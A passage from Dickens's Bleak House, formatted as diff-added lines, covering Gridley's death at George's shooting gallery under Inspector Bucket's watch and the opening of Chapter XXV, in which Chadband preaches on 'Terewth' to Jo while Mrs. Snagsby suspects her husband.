+"You don't know where?"
+
+"No, sir," returned the trooper, lifting up his eyes and coming out
+of his reverie. "I can't say anything about him. He will be worn out
+soon, I expect. You may file a strong man's heart away for a good
+many years, but it will tell all of a sudden at last."
+
+Richard's entrance stopped the conversation. Mr. George rose, made me
+another of his soldierly bows, wished my guardian a good day, and
+strode heavily out of the room.
+
+This was the morning of the day appointed for Richard's departure. We
+had no more purchases to make now; I had completed all his packing
+early in the afternoon; and our time was disengaged until night, when
+he was to go to Liverpool for Holyhead. Jarndyce and Jarndyce being
+again expected to come on that day, Richard proposed to me that we
+should go down to the court and hear what passed. As it was his last
+day, and he was eager to go, and I had never been there, I gave my
+consent and we walked down to Westminster, where the court was then
+sitting. We beguiled the way with arrangements concerning the letters
+that Richard was to write to me and the letters that I was to write
+to him and with a great many hopeful projects. My guardian knew where
+we were going and therefore was not with us.
+
+When we came to the court, there was the Lord Chancellor--the same
+whom I had seen in his private room in Lincoln's Inn--sitting in
+great state and gravity on the bench, with the mace and seals on a
+red table below him and an immense flat nosegay, like a little
+garden, which scented the whole court. Below the table, again, was a
+long row of solicitors, with bundles of papers on the matting at
+their feet; and then there were the gentlemen of the bar in wigs and
+gowns--some awake and some asleep, and one talking, and nobody paying
+much attention to what he said. The Lord Chancellor leaned back in
+his very easy chair with his elbow on the cushioned arm and his
+forehead resting on his hand; some of those who were present dozed;
+some read the newspapers; some walked about or whispered in groups:
+all seemed perfectly at their ease, by no means in a hurry, very
+unconcerned, and extremely comfortable.
+
+To see everything going on so smoothly and to think of the roughness
+of the suitors' lives and deaths; to see all that full dress and
+ceremony and to think of the waste, and want, and beggared misery it
+represented; to consider that while the sickness of hope deferred was
+raging in so many hearts this polite show went calmly on from day to
+day, and year to year, in such good order and composure; to behold
+the Lord Chancellor and the whole array of practitioners under him
+looking at one another and at the spectators as if nobody had ever
+heard that all over England the name in which they were assembled was
+a bitter jest, was held in universal horror, contempt, and
+indignation, was known for something so flagrant and bad that little
+short of a miracle could bring any good out of it to any one--this
+was so curious and self-contradictory to me, who had no experience of
+it, that it was at first incredible, and I could not comprehend it. I
+sat where Richard put me, and tried to listen, and looked about me;
+but there seemed to be no reality in the whole scene except poor
+little Miss Flite, the madwoman, standing on a bench and nodding at
+it.
+
+Miss Flite soon espied us and came to where we sat. She gave me a
+gracious welcome to her domain and indicated, with much gratification
+and pride, its principal attractions. Mr. Kenge also came to speak to
+us and did the honours of the place in much the same way, with the
+bland modesty of a proprietor. It was not a very good day for a
+visit, he said; he would have preferred the first day of term; but it
+was imposing, it was imposing.
+
+When we had been there half an hour or so, the case in progress--if I
+may use a phrase so ridiculous in such a connexion--seemed to die out
+of its own vapidity, without coming, or being by anybody expected to
+come, to any result. The Lord Chancellor then threw down a bundle of
+papers from his desk to the gentlemen below him, and somebody said,
+"Jarndyce and Jarndyce." Upon this there was a buzz, and a laugh, and
+a general withdrawal of the bystanders, and a bringing in of great
+heaps, and piles, and bags and bags full of papers.
+
+I think it came on "for further directions"--about some bill of
+costs, to the best of my understanding, which was confused enough.
+But I counted twenty-three gentlemen in wigs who said they were "in
+it," and none of them appeared to understand it much better than I.
+They chatted about it with the Lord Chancellor, and contradicted and
+explained among themselves, and some of them said it was this way,
+and some of them said it was that way, and some of them jocosely
+proposed to read huge volumes of affidavits, and there was more
+buzzing and laughing, and everybody concerned was in a state of idle
+entertainment, and nothing could be made of it by anybody. After an
+hour or so of this, and a good many speeches being begun and cut
+short, it was "referred back for the present," as Mr. Kenge said, and
+the papers were bundled up again before the clerks had finished
+bringing them in.
+
+I glanced at Richard on the termination of these hopeless proceedings
+and was shocked to see the worn look of his handsome young face. "It
+can't last for ever, Dame Durden. Better luck next time!" was all he
+said.
+
+I had seen Mr. Guppy bringing in papers and arranging them for Mr.
+Kenge; and he had seen me and made me a forlorn bow, which rendered
+me desirous to get out of the court. Richard had given me his arm and
+was taking me away when Mr. Guppy came up.
+
+"I beg your pardon, Mr. Carstone," said he in a whisper, "and Miss
+Summerson's also, but there's a lady here, a friend of mine, who
+knows her and wishes to have the pleasure of shaking hands." As he
+spoke, I saw before me, as if she had started into bodily shape from
+my remembrance, Mrs. Rachael of my godmother's house.
+
+"How do you do, Esther?" said she. "Do you recollect me?"
+
+I gave her my hand and told her yes and that she was very little
+altered.
+
+"I wonder you remember those times, Esther," she returned with her
+old asperity. "They are changed now. Well! I am glad to see you, and
+glad you are not too proud to know me." But indeed she seemed
+disappointed that I was not.
+
+"Proud, Mrs. Rachael!" I remonstrated.
+
+"I am married, Esther," she returned, coldly correcting me, "and am
+Mrs. Chadband. Well! I wish you good day, and I hope you'll do well."
+
+Mr. Guppy, who had been attentive to this short dialogue, heaved a
+sigh in my ear and elbowed his own and Mrs. Rachael's way through the
+confused little crowd of people coming in and going out, which we
+were in the midst of and which the change in the business had brought
+together. Richard and I were making our way through it, and I was yet
+in the first chill of the late unexpected recognition when I saw,
+coming towards us, but not seeing us, no less a person than Mr.
+George. He made nothing of the people about him as he tramped on,
+staring over their heads into the body of the court.
+
+"George!" said Richard as I called his attention to him.
+
+"You are well met, sir," he returned. "And you, miss. Could you point
+a person out for me, I want? I don't understand these places."
+
+Turning as he spoke and making an easy way for us, he stopped when we
+were out of the press in a corner behind a great red curtain.
+
+"There's a little cracked old woman," he began, "that--"
+
+I put up my finger, for Miss Flite was close by me, having kept
+beside me all the time and having called the attention of several of
+her legal acquaintance to me (as I had overheard to my confusion) by
+whispering in their ears, "Hush! Fitz Jarndyce on my left!"
+
+"Hem!" said Mr. George. "You remember, miss, that we passed some
+conversation on a certain man this morning? Gridley," in a low
+whisper behind his hand.
+
+"Yes," said I.
+
+"He is hiding at my place. I couldn't mention it. Hadn't his
+authority. He is on his last march, miss, and has a whim to see her.
+He says they can feel for one another, and she has been almost as
+good as a friend to him here. I came down to look for her, for when I
+sat by Gridley this afternoon, I seemed to hear the roll of the
+muffled drums."
+
+"Shall I tell her?" said I.
+
+"Would you be so good?" he returned with a glance of something like
+apprehension at Miss Flite. "It's a providence I met you, miss; I
+doubt if I should have known how to get on with that lady." And he
+put one hand in his breast and stood upright in a martial attitude as
+I informed little Miss Flite, in her ear, of the purport of his kind
+errand.
+
+"My angry friend from Shropshire! Almost as celebrated as myself!"
+she exclaimed. "Now really! My dear, I will wait upon him with the
+greatest pleasure."
+
+"He is living concealed at Mr. George's," said I. "Hush! This is Mr.
+George."
+
+"In--deed!" returned Miss Flite. "Very proud to have the honour! A
+military man, my dear. You know, a perfect general!" she whispered to
+me.
+
+Poor Miss Flite deemed it necessary to be so courtly and polite, as a
+mark of her respect for the army, and to curtsy so very often that it
+was no easy matter to get her out of the court. When this was at last
+done, and addressing Mr. George as "General," she gave him her arm,
+to the great entertainment of some idlers who were looking on, he was
+so discomposed and begged me so respectfully "not to desert him" that
+I could not make up my mind to do it, especially as Miss Flite was
+always tractable with me and as she too said, "Fitz Jarndyce, my
+dear, you will accompany us, of course." As Richard seemed quite
+willing, and even anxious, that we should see them safely to their
+destination, we agreed to do so. And as Mr. George informed us that
+Gridley's mind had run on Mr. Jarndyce all the afternoon after
+hearing of their interview in the morning, I wrote a hasty note in
+pencil to my guardian to say where we were gone and why. Mr. George
+sealed it at a coffee-house, that it might lead to no discovery, and
+we sent it off by a ticket-porter.
+
+We then took a hackney-coach and drove away to the neighbourhood of
+Leicester Square. We walked through some narrow courts, for which Mr.
+George apologized, and soon came to the shooting gallery, the door of
+which was closed. As he pulled a bell-handle which hung by a chain to
+the door-post, a very respectable old gentleman with grey hair,
+wearing spectacles, and dressed in a black spencer and gaiters and a
+broad-brimmed hat, and carrying a large gold-beaded cane, addressed
+him.
+
+"I ask your pardon, my good friend," said he, "but is this George's
+Shooting Gallery?"
+
+"It is, sir," returned Mr. George, glancing up at the great letters
+in which that inscription was painted on the whitewashed wall.
+
+"Oh! To be sure!" said the old gentleman, following his eyes. "Thank
+you. Have you rung the bell?"
+
+"My name is George, sir, and I have rung the bell."
+
+"Oh, indeed?" said the old gentleman. "Your name is George? Then I am
+here as soon as you, you see. You came for me, no doubt?"
+
+"No, sir. You have the advantage of me."
+
+"Oh, indeed?" said the old gentleman. "Then it was your young man who
+came for me. I am a physician and was requested--five minutes ago--to
+come and visit a sick man at George's Shooting Gallery."
+
+"The muffled drums," said Mr. George, turning to Richard and me and
+gravely shaking his head. "It's quite correct, sir. Will you please
+to walk in."
+
+The door being at that moment opened by a very singular-looking
+little man in a green-baize cap and apron, whose face and hands and
+dress were blackened all over, we passed along a dreary passage into
+a large building with bare brick walls where there were targets, and
+guns, and swords, and other things of that kind. When we had all
+arrived here, the physician stopped, and taking off his hat, appeared
+to vanish by magic and to leave another and quite a different man in
+his place.
+
+"Now lookee here, George," said the man, turning quickly round upon
+him and tapping him on the breast with a large forefinger. "You know
+me, and I know you. You're a man of the world, and I'm a man of the
+world. My name's Bucket, as you are aware, and I have got a
+peace-warrant against Gridley. You have kept him out of the way a
+long time, and you have been artful in it, and it does you credit."
+
+Mr. George, looking hard at him, bit his lip and shook his head.
+
+"Now, George," said the other, keeping close to him, "you're a
+sensible man and a well-conducted man; that's what YOU are, beyond a
+doubt. And mind you, I don't talk to you as a common character,
+because you have served your country and you know that when duty
+calls we must obey. Consequently you're very far from wanting to give
+trouble. If I required assistance, you'd assist me; that's what YOU'D
+do. Phil Squod, don't you go a-sidling round the gallery like
+that"--the dirty little man was shuffling about with his shoulder
+against the wall, and his eyes on the intruder, in a manner that
+looked threatening--"because I know you and won't have it."
+
+"Phil!" said Mr. George.
+
+"Yes, guv'ner."
+
+"Be quiet."
+
+The little man, with a low growl, stood still.
+
+"Ladies and gentlemen," said Mr. Bucket, "you'll excuse anything that
+may appear to be disagreeable in this, for my name's Inspector Bucket
+of the Detective, and I have a duty to perform. George, I know where
+my man is because I was on the roof last night and saw him through
+the skylight, and you along with him. He is in there, you know,"
+pointing; "that's where HE is--on a sofy. Now I must see my man, and
+I must tell my man to consider himself in custody; but you know me,
+and you know I don't want to take any uncomfortable measures. You
+give me your word, as from one man to another (and an old soldier,
+mind you, likewise), that it's honourable between us two, and I'll
+accommodate you to the utmost of my power."
+
+"I give it," was the reply. "But it wasn't handsome in you, Mr.
+Bucket."
+
+"Gammon, George! Not handsome?" said Mr. Bucket, tapping him on his
+broad breast again and shaking hands with him. "I don't say it wasn't
+handsome in you to keep my man so close, do I? Be equally
+good-tempered to me, old boy! Old William Tell, Old Shaw, the Life
+Guardsman! Why, he's a model of the whole British army in himself,
+ladies and gentlemen. I'd give a fifty-pun' note to be such a figure
+of a man!"
+
+The affair being brought to this head, Mr. George, after a little
+consideration, proposed to go in first to his comrade (as he called
+him), taking Miss Flite with him. Mr. Bucket agreeing, they went away
+to the further end of the gallery, leaving us sitting and standing by
+a table covered with guns. Mr. Bucket took this opportunity of
+entering into a little light conversation, asking me if I were afraid
+of fire-arms, as most young ladies were; asking Richard if he were a
+good shot; asking Phil Squod which he considered the best of those
+rifles and what it might be worth first-hand, telling him in return
+that it was a pity he ever gave way to his temper, for he was
+naturally so amiable that he might have been a young woman, and
+making himself generally agreeable.
+
+After a time he followed us to the further end of the gallery, and
+Richard and I were going quietly away when Mr. George came after us.
+He said that if we had no objection to see his comrade, he would take
+a visit from us very kindly. The words had hardly passed his lips
+when the bell was rung and my guardian appeared, "on the chance," he
+slightly observed, "of being able to do any little thing for a poor
+fellow involved in the same misfortune as himself." We all four went
+back together and went into the place where Gridley was.
+
+It was a bare room, partitioned off from the gallery with unpainted
+wood. As the screening was not more than eight or ten feet high and
+only enclosed the sides, not the top, the rafters of the high gallery
+roof were overhead, and the skylight through which Mr. Bucket had
+looked down. The sun was low--near setting--and its light came redly
+in above, without descending to the ground. Upon a plain
+canvas-covered sofa lay the man from Shropshire, dressed much as we
+had seen him last, but so changed that at first I recognized no
+likeness in his colourless face to what I recollected.
+
+He had been still writing in his hiding-place, and still dwelling on
+his grievances, hour after hour. A table and some shelves were
+covered with manuscript papers and with worn pens and a medley of
+such tokens. Touchingly and awfully drawn together, he and the little
+mad woman were side by side and, as it were, alone. She sat on a
+chair holding his hand, and none of us went close to them.
+
+His voice had faded, with the old expression of his face, with his
+strength, with his anger, with his resistance to the wrongs that had
+at last subdued him. The faintest shadow of an object full of form
+and colour is such a picture of it as he was of the man from
+Shropshire whom we had spoken with before.
+
+He inclined his head to Richard and me and spoke to my guardian.
+
+"Mr. Jarndyce, it is very kind of you to come to see me. I am not
+long to be seen, I think. I am very glad to take your hand, sir. You
+are a good man, superior to injustice, and God knows I honour you."
+
+They shook hands earnestly, and my guardian said some words of
+comfort to him.
+
+"It may seem strange to you, sir," returned Gridley; "I should not
+have liked to see you if this had been the first time of our meeting.
+But you know I made a fight for it, you know I stood up with my
+single hand against them all, you know I told them the truth to the
+last, and told them what they were, and what they had done to me; so
+I don't mind your seeing me, this wreck."
+
+"You have been courageous with them many and many a time," returned
+my guardian.
+
+"Sir, I have been," with a faint smile. "I told you what would come
+of it when I ceased to be so, and see here! Look at us--look at us!"
+He drew the hand Miss Flite held through her arm and brought her
+something nearer to him.
+
+"This ends it. Of all my old associations, of all my old pursuits and
+hopes, of all the living and the dead world, this one poor soul alone
+comes natural to me, and I am fit for. There is a tie of many
+suffering years between us two, and it is the only tie I ever had on
+earth that Chancery has not broken."
+
+"Accept my blessing, Gridley," said Miss Flite in tears. "Accept my
+blessing!"
+
+"I thought, boastfully, that they never could break my heart, Mr.
+Jarndyce. I was resolved that they should not. I did believe that I
+could, and would, charge them with being the mockery they were until
+I died of some bodily disorder. But I am worn out. How long I have
+been wearing out, I don't know; I seemed to break down in an hour. I
+hope they may never come to hear of it. I hope everybody here will
+lead them to believe that I died defying them, consistently and
+perseveringly, as I did through so many years."
+
+Here Mr. Bucket, who was sitting in a corner by the door,
+good-naturedly offered such consolation as he could administer.
+
+"Come, come!" he said from his corner. "Don't go on in that way, Mr.
+Gridley. You are only a little low. We are all of us a little low
+sometimes. I am. Hold up, hold up! You'll lose your temper with the
+whole round of 'em, again and again; and I shall take you on a score
+of warrants yet, if I have luck."
+
+He only shook his head.
+
+"Don't shake your head," said Mr. Bucket. "Nod it; that's what I want
+to see you do. Why, Lord bless your soul, what times we have had
+together! Haven't I seen you in the Fleet over and over again for
+contempt? Haven't I come into court, twenty afternoons for no other
+purpose than to see you pin the Chancellor like a bull-dog? Don't you
+remember when you first began to threaten the lawyers, and the peace
+was sworn against you two or three times a week? Ask the little old
+lady there; she has been always present. Hold up, Mr. Gridley, hold
+up, sir!"
+
+"What are you going to do about him?" asked George in a low voice.
+
+"I don't know yet," said Bucket in the same tone. Then resuming his
+encouragement, he pursued aloud: "Worn out, Mr. Gridley? After
+dodging me for all these weeks and forcing me to climb the roof here
+like a tom cat and to come to see you as a doctor? That ain't like
+being worn out. I should think not! Now I tell you what you want. You
+want excitement, you know, to keep YOU up; that's what YOU want.
+You're used to it, and you can't do without it. I couldn't myself.
+Very well, then; here's this warrant got by Mr. Tulkinghorn of
+Lincoln's Inn Fields, and backed into half-a-dozen counties since.
+What do you say to coming along with me, upon this warrant, and
+having a good angry argument before the magistrates? It'll do you
+good; it'll freshen you up and get you into training for another turn
+at the Chancellor. Give in? Why, I am surprised to hear a man of your
+energy talk of giving in. You mustn't do that. You're half the fun of
+the fair in the Court of Chancery. George, you lend Mr. Gridley a
+hand, and let's see now whether he won't be better up than down."
+
+"He is very weak," said the trooper in a low voice.
+
+"Is he?" returned Bucket anxiously. "I only want to rouse him. I
+don't like to see an old acquaintance giving in like this. It would
+cheer him up more than anything if I could make him a little waxy
+with me. He's welcome to drop into me, right and left, if he likes. I
+shall never take advantage of it."
+
+The roof rang with a scream from Miss Flite, which still rings in my
+ears.
+
+"Oh, no, Gridley!" she cried as he fell heavily and calmly back from
+before her. "Not without my blessing. After so many years!"
+
+The sun was down, the light had gradually stolen from the roof, and
+the shadow had crept upward. But to me the shadow of that pair, one
+living and one dead, fell heavier on Richard's departure than the
+darkness of the darkest night. And through Richard's farewell words I
+heard it echoed: "Of all my old associations, of all my old pursuits
+and hopes, of all the living and the dead world, this one poor soul
+alone comes natural to me, and I am fit for. There is a tie of many
+suffering years between us two, and it is the only tie I ever had on
+earth that Chancery has not broken!"
+
+
+
+
+CHAPTER XXV
+
+Mrs. Snagsby Sees It All
+
+
+There is disquietude in Cook's Court, Cursitor Street. Black
+suspicion hides in that peaceful region. The mass of Cook's Courtiers
+are in their usual state of mind, no better and no worse; but Mr.
+Snagsby is changed, and his little woman knows it.
+
+For Tom-all-Alone's and Lincoln's Inn Fields persist in harnessing
+themselves, a pair of ungovernable coursers, to the chariot of Mr.
+Snagsby's imagination; and Mr. Bucket drives; and the passengers are
+Jo and Mr. Tulkinghorn; and the complete equipage whirls though the
+law-stationery business at wild speed all round the clock. Even in
+the little front kitchen where the family meals are taken, it rattles
+away at a smoking pace from the dinner-table, when Mr. Snagsby pauses
+in carving the first slice of the leg of mutton baked with potatoes
+and stares at the kitchen wall.
+
+Mr. Snagsby cannot make out what it is that he has had to do with.
+Something is wrong somewhere, but what something, what may come of
+it, to whom, when, and from which unthought of and unheard of quarter
+is the puzzle of his life. His remote impressions of the robes and
+coronets, the stars and garters, that sparkle through the
+surface-dust of Mr. Tulkinghorn's chambers; his veneration for the
+mysteries presided over by that best and closest of his customers,
+whom all the Inns of Court, all Chancery Lane, and all the legal
+neighbourhood agree to hold in awe; his remembrance of Detective Mr.
+Bucket with his forefinger and his confidential manner, impossible to
+be evaded or declined, persuade him that he is a party to some
+dangerous secret without knowing what it is. And it is the fearful
+peculiarity of this condition that, at any hour of his daily life, at
+any opening of the shop-door, at any pull of the bell, at any
+entrance of a messenger, or any delivery of a letter, the secret may
+take air and fire, explode, and blow up--Mr. Bucket only knows whom.
+
+For which reason, whenever a man unknown comes into the shop (as many
+men unknown do) and says, "Is Mr. Snagsby in?" or words to that
+innocent effect, Mr. Snagsby's heart knocks hard at his guilty
+breast. He undergoes so much from such inquiries that when they are
+made by boys he revenges himself by flipping at their ears over the
+counter and asking the young dogs what they mean by it and why they
+can't speak out at once? More impracticable men and boys persist in
+walking into Mr. Snagsby's sleep and terrifying him with
+unaccountable questions, so that often when the cock at the little
+dairy in Cursitor Street breaks out in his usual absurd way about the
+morning, Mr. Snagsby finds himself in a crisis of nightmare, with his
+little woman shaking him and saying "What's the matter with the man!"
+
+The little woman herself is not the least item in his difficulty. To
+know that he is always keeping a secret from her, that he has under
+all circumstances to conceal and hold fast a tender double tooth,
+which her sharpness is ever ready to twist out of his head, gives Mr.
+Snagsby, in her dentistical presence, much of the air of a dog who
+has a reservation from his master and will look anywhere rather than
+meet his eye.
+
+These various signs and tokens, marked by the little woman, are not
+lost upon her. They impel her to say, "Snagsby has something on his
+mind!" And thus suspicion gets into Cook's Court, Cursitor Street.
+From suspicion to jealousy, Mrs. Snagsby finds the road as natural
+and short as from Cook's Court to Chancery Lane. And thus jealousy
+gets into Cook's Court, Cursitor Street. Once there (and it was
+always lurking thereabout), it is very active and nimble in Mrs.
+Snagsby's breast, prompting her to nocturnal examinations of Mr.
+Snagsby's pockets; to secret perusals of Mr. Snagsby's letters; to
+private researches in the day book and ledger, till, cash-box, and
+iron safe; to watchings at windows, listenings behind doors, and a
+general putting of this and that together by the wrong end.
+
+Mrs. Snagsby is so perpetually on the alert that the house becomes
+ghostly with creaking boards and rustling garments. The 'prentices
+think somebody may have been murdered there in bygone times. Guster
+holds certain loose atoms of an idea (picked up at Tooting, where
+they were found floating among the orphans) that there is buried
+money underneath the cellar, guarded by an old man with a white
+beard, who cannot get out for seven thousand years because he said
+the Lord's Prayer backwards.
+
+"Who was Nimrod?" Mrs. Snagsby repeatedly inquires of herself. "Who
+was that lady--that creature? And who is that boy?" Now, Nimrod being
+as dead as the mighty hunter whose name Mrs. Snagsby has
+appropriated, and the lady being unproducible, she directs her mental
+eye, for the present, with redoubled vigilance to the boy. "And who,"
+quoth Mrs. Snagsby for the thousand and first time, "is that boy? Who
+is that--!" And there Mrs. Snagsby is seized with an inspiration.
+
+He has no respect for Mr. Chadband. No, to be sure, and he wouldn't
+have, of course. Naturally he wouldn't, under those contagious
+circumstances. He was invited and appointed by Mr. Chadband--why,
+Mrs. Snagsby heard it herself with her own ears!--to come back, and
+be told where he was to go, to be addressed by Mr. Chadband; and he
+never came! Why did he never come? Because he was told not to come.
+Who told him not to come? Who? Ha, ha! Mrs. Snagsby sees it all.
+
+But happily (and Mrs. Snagsby tightly shakes her head and tightly
+smiles) that boy was met by Mr. Chadband yesterday in the streets;
+and that boy, as affording a subject which Mr. Chadband desires to
+improve for the spiritual delight of a select congregation, was
+seized by Mr. Chadband and threatened with being delivered over to
+the police unless he showed the reverend gentleman where he lived and
+unless he entered into, and fulfilled, an undertaking to appear in
+Cook's Court to-morrow night, "to--mor--row--night," Mrs. Snagsby
+repeats for mere emphasis with another tight smile and another tight
+shake of her head; and to-morrow night that boy will be here, and
+to-morrow night Mrs. Snagsby will have her eye upon him and upon some
+one else; and oh, you may walk a long while in your secret ways (says
+Mrs. Snagsby with haughtiness and scorn), but you can't blind ME!
+
+Mrs. Snagsby sounds no timbrel in anybody's ears, but holds her
+purpose quietly, and keeps her counsel. To-morrow comes, the savoury
+preparations for the Oil Trade come, the evening comes. Comes Mr.
+Snagsby in his black coat; come the Chadbands; come (when the gorging
+vessel is replete) the 'prentices and Guster, to be edified; comes at
+last, with his slouching head, and his shuffle backward, and his
+shuffle forward, and his shuffle to the right, and his shuffle to the
+left, and his bit of fur cap in his muddy hand, which he picks as if
+it were some mangy bird he had caught and was plucking before eating
+raw, Jo, the very, very tough subject Mr. Chadband is to improve.
+
+Mrs. Snagsby screws a watchful glance on Jo as he is brought into the
+little drawing-room by Guster. He looks at Mr. Snagsby the moment he
+comes in. Aha! Why does he look at Mr. Snagsby? Mr. Snagsby looks at
+him. Why should he do that, but that Mrs. Snagsby sees it all? Why
+else should that look pass between them, why else should Mr. Snagsby
+be confused and cough a signal cough behind his hand? It is as clear
+as crystal that Mr. Snagsby is that boy's father.
+
+"Peace, my friends," says Chadband, rising and wiping the oily
+exudations from his reverend visage. "Peace be with us! My friends,
+why with us? Because," with his fat smile, "it cannot be against us,
+because it must be for us; because it is not hardening, because it is
+softening; because it does not make war like the hawk, but comes home
+unto us like the dove. Therefore, my friends, peace be with us! My
+human boy, come forward!"
+
+Stretching forth his flabby paw, Mr. Chadband lays the same on Jo's
+arm and considers where to station him. Jo, very doubtful of his
+reverend friend's intentions and not at all clear but that something
+practical and painful is going to be done to him, mutters, "You let
+me alone. I never said nothink to you. You let me alone."
+
+"No, my young friend," says Chadband smoothly, "I will not let you
+alone. And why? Because I am a harvest-labourer, because I am a
+toiler and a moiler, because you are delivered over unto me and are
+become as a precious instrument in my hands. My friends, may I so
+employ this instrument as to use it to your advantage, to your
+profit, to your gain, to your welfare, to your enrichment! My young
+friend, sit upon this stool."
+
+Jo, apparently possessed by an impression that the reverend gentleman
+wants to cut his hair, shields his head with both arms and is got
+into the required position with great difficulty and every possible
+manifestation of reluctance.
+
+When he is at last adjusted like a lay-figure, Mr. Chadband, retiring
+behind the table, holds up his bear's-paw and says, "My friends!"
+This is the signal for a general settlement of the audience. The
+'prentices giggle internally and nudge each other. Guster falls into
+a staring and vacant state, compounded of a stunned admiration of Mr.
+Chadband and pity for the friendless outcast whose condition touches
+her nearly. Mrs. Snagsby silently lays trains of gunpowder. Mrs.
+Chadband composes herself grimly by the fire and warms her knees,
+finding that sensation favourable to the reception of eloquence.
+
+It happens that Mr. Chadband has a pulpit habit of fixing some member
+of his congregation with his eye and fatly arguing his points with
+that particular person, who is understood to be expected to be moved
+to an occasional grunt, groan, gasp, or other audible expression of
+inward working, which expression of inward working, being echoed by
+some elderly lady in the next pew and so communicated like a game of
+forfeits through a circle of the more fermentable sinners present,
+serves the purpose of parliamentary cheering and gets Mr. Chadband's
+steam up. From mere force of habit, Mr. Chadband in saying "My
+friends!" has rested his eye on Mr. Snagsby and proceeds to make that
+ill-starred stationer, already sufficiently confused, the immediate
+recipient of his discourse.
+
+"We have here among us, my friends," says Chadband, "a Gentile and a
+heathen, a dweller in the tents of Tom-all-Alone's and a mover-on
+upon the surface of the earth. We have here among us, my friends,"
+and Mr. Chadband, untwisting the point with his dirty thumb-nail,
+bestows an oily smile on Mr. Snagsby, signifying that he will throw
+him an argumentative back-fall presently if he be not already down,
+"a brother and a boy. Devoid of parents, devoid of relations, devoid
+of flocks and herds, devoid of gold and silver and of precious
+stones. Now, my friends, why do I say he is devoid of these
+possessions? Why? Why is he?" Mr. Chadband states the question as if
+he were propounding an entirely new riddle of much ingenuity and
+merit to Mr. Snagsby and entreating him not to give it up.
+
+Mr. Snagsby, greatly perplexed by the mysterious look he received
+just now from his little woman--at about the period when Mr. Chadband
+mentioned the word parents--is tempted into modestly remarking, "I
+don't know, I'm sure, sir." On which interruption Mrs. Chadband
+glares and Mrs. Snagsby says, "For shame!"
+
+"I hear a voice," says Chadband; "is it a still small voice, my
+friends? I fear not, though I fain would hope so--"
+
+"Ah--h!" from Mrs. Snagsby.
+
+"Which says, 'I don't know.' Then I will tell you why. I say this
+brother present here among us is devoid of parents, devoid of
+relations, devoid of flocks and herds, devoid of gold, of silver, and
+of precious stones because he is devoid of the light that shines in
+upon some of us. What is that light? What is it? I ask you, what is
+that light?"
+
+Mr. Chadband draws back his head and pauses, but Mr. Snagsby is not
+to be lured on to his destruction again. Mr. Chadband, leaning
+forward over the table, pierces what he has got to follow directly
+into Mr. Snagsby with the thumb-nail already mentioned.
+
+"It is," says Chadband, "the ray of rays, the sun of suns, the moon
+of moons, the star of stars. It is the light of Terewth."
+
+Mr. Chadband draws himself up again and looks triumphantly at Mr.
+Snagsby as if he would be glad to know how he feels after that.
+
+"Of Terewth," says Mr. Chadband, hitting him again. "Say not to me
+that it is NOT the lamp of lamps. I say to you it is. I say to you, a
+million of times over, it is. It is! I say to you that I will
+proclaim it to you, whether you like it or not; nay, that the less
+you like it, the more I will proclaim it to you. With a
+speaking-trumpet! I say to you that if you rear yourself against it,
+you shall fall, you shall be bruised, you shall be battered, you
+shall be flawed, you shall be smashed."
+
+The present effect of this flight of oratory--much admired for its
+general power by Mr. Chadband's followers--being not only to make Mr.
+Chadband unpleasantly warm, but to represent the innocent Mr. Snagsby
+in the light of a determined enemy to virtue, with a forehead of
+brass and a heart of adamant, that unfortunate tradesman becomes yet
+more disconcerted and is in a very advanced state of low spirits and
+false position when Mr. Chadband accidentally finishes him.
+
+"My friends," he resumes after dabbing his fat head for some
+time--and it smokes to such an extent that he seems to light his
+pocket-handkerchief at it, which smokes, too, after every dab--"to
+pursue the subject we are endeavouring with our lowly gifts to
+improve, let us in a spirit of love inquire what is that Terewth to
+which I have alluded. For, my young friends," suddenly addressing the
+'prentices and Guster, to their consternation, "if I am told by the
+doctor that calomel or castor-oil is good for me, I may naturally ask
+what is calomel, and what is castor-oil. I may wish to be informed of
+that before I dose myself with either or with both. Now, my young
+friends, what is this Terewth then? Firstly (in a spirit of love),
+what is the common sort of Terewth--the working clothes--the
+every-day wear, my young friends? Is it deception?"
+
+"Ah--h!" from Mrs. Snagsby.
+
+"Is it suppression?"
+
+A shiver in the negative from Mrs. Snagsby.
+
+"Is it reservation?"
+
+A shake of the head from Mrs. Snagsby--very long and very tight.
+
+"No, my friends, it is neither of these. Neither of these names
+belongs to it. When this young heathen now among us--who is now, my
+friends, asleep, the seal of indifference and perdition being set
+upon his eyelids; but do not wake him, for it is right that I should
+have to wrestle, and to combat and to struggle, and to conquer, for
+his sake--when this young hardened heathen told us a story of a cock,
+and of a bull, and of a lady, and of a sovereign, was THAT the
+Terewth? No. Or if it was partly, was it wholly and entirely? No, my
+friends, no!"
+
+If Mr. Snagsby could withstand his little woman's look as it enters
+at his eyes, the windows of his soul, and searches the whole
+tenement, he were other than the man he is. He cowers and droops.
+
+"Or, my juvenile friends," says Chadband, descending to the level of
+their comprehension with a very obtrusive demonstration in his
+greasily meek smile of coming a long way downstairs for the purpose,
+"if the master of this house was to go forth into the city and there
+see an eel, and was to come back, and was to call unto him the
+mistress of this house, and was to say, 'Sarah, rejoice with me, for
+I have seen an elephant!' would THAT be Terewth?"
+
+Mrs. Snagsby in tears.
+
+"Or put it, my juvenile friends, that he saw an elephant, and
+returning said 'Lo, the city is barren, I have seen but an eel,'
+would THAT be Terewth?"
+
+Mrs. Snagsby sobbing loudly.
+
+"Or put it, my juvenile friends," said Chadband, stimulated by the
+sound, "that the unnatural parents of this slumbering heathen--for
+parents he had, my juvenile friends, beyond a doubt--after casting
+him forth to the wolves and the vultures, and the wild dogs and the
+young gazelles, and the serpents, went back to their dwellings and
+had their pipes, and their pots, and their flutings and their
+dancings, and their malt liquors, and their butcher's meat and
+poultry, would THAT be Terewth?"
+
+Mrs. Snagsby replies by delivering herself a prey to spasms, not an
+unresisting prey, but a crying and a tearing one, so that Cook's
+Court re-echoes with her shrieks. Finally, becoming cataleptic, she
+has to be carried up the narrow staircase like a grand piano. After
+unspeakable suffering, productive of the utmost consternation, she is
+pronounced, by expresses from the bedroom, free from pain, though
+much exhausted, in which state of affairs Mr. Snagsby, trampled and
+crushed in the piano-forte removal, and extremely timid and feeble,
+ventures to come out from behind the door in the drawing-room.
+
+All this time Jo has been standing on the spot where he woke up, ever
+picking his cap and putting bits of fur in his mouth. He spits them
+out with a remorseful air, for he feels that it is in his nature to
+be an unimprovable reprobate and that it's no good HIS trying to keep
+awake, for HE won't never know nothink. Though it may be, Jo, that
+there is a history so interesting and affecting even to minds as near
+the brutes as thine, recording deeds done on this earth for common
+men, that if the Chadbands, removing their own persons from the
+light, would but show it thee in simple reverence, would but leave it
+unimproved, would but regard it as being eloquent enough without
